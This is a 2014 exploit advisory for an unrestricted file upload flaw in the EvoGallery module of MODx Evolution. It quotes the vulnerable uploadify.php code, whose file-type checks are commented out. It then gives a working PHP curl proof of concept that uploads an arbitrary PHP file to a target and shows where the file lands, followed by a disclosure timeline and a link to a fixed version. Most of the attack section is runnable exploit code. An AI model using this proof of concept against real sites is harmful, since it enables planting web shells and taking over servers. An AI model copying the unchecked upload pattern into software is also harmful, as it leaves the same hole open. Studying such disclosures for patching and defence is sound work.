[+] Author: TUNISIAN CYBER
[+] Exploit Title: MODx (Evogallery) File Upload Vulnerability
[+] Date: 18-02-2014
[+] Category: WebApp
[+] Tested on: KaliLinux/Windows 7 Pro
[+] Vendor: http://modx.com/extras/package/evogallery
[+] Friendly Sites: na3il.com,th3-creative.com

1.OVERVIEW:
MODx's module Evogallery suffers from a File Upload Vulnerability.

2.Background:
EvoGallery is a dynamic gallery extra for MODx Evolution. 
It allows you to quickly and easily create galleries of images by associating them with any page on your site. 
Galleries can be outputted in a variety of ways using a templated system.
http://modx.com/extras/package/evogallery

3.Vulnerability:
File : /assets/modules/evogallery/js/uploadify/uploadify.php Lines:27--->45
[PHP]
$tempFile = $_FILES['Filedata']['tmp_name']; 
$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/'; 
$targetFile = str_replace('//','/',$targetPath) . 
$_FILES['Filedata']['name']; 

// $fileTypes = str_replace('*.','',$_REQUEST['fileext']); 
// $fileTypes = str_replace(';','|',$fileTypes); 
// $typesArray = split('\|',$fileTypes); 
// $fileParts = pathinfo($_FILES['Filedata']['name']); 

// if (in_array($fileParts['extension'],$typesArray)) { 
// Uncomment the following line if you want to make the directory if it 
doesn't exist 
// mkdir(str_replace('//','/',$targetPath), 0755, true); 

move_uploaded_file($tempFile,$targetFile); 
echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile); 
// } else { 
// echo 'Invalid file type.'; 
// } 
} 
[PHP]

4.Proof Of Concept:
<?php
$uploadfile="file.php"; 
$ch = curl_init("demo.ltd/assets/modules/evogallery/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS,       
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>

File can be found at demo.ltd/file.php

5.Solution(s):
Download fixed version:
https://github.com/Mark-H/EvoGallery

6.TIME-LINE:
2014-02-17: Vulnerability was discovered.
2014-02-17: Contact with the module maker.
2014-02-18: Bug fixed
2014-02-18: Vulnerability released.



7.Greetings:
Xmax-tn
Xtech-set
N43il
Sec4ver,E4A Members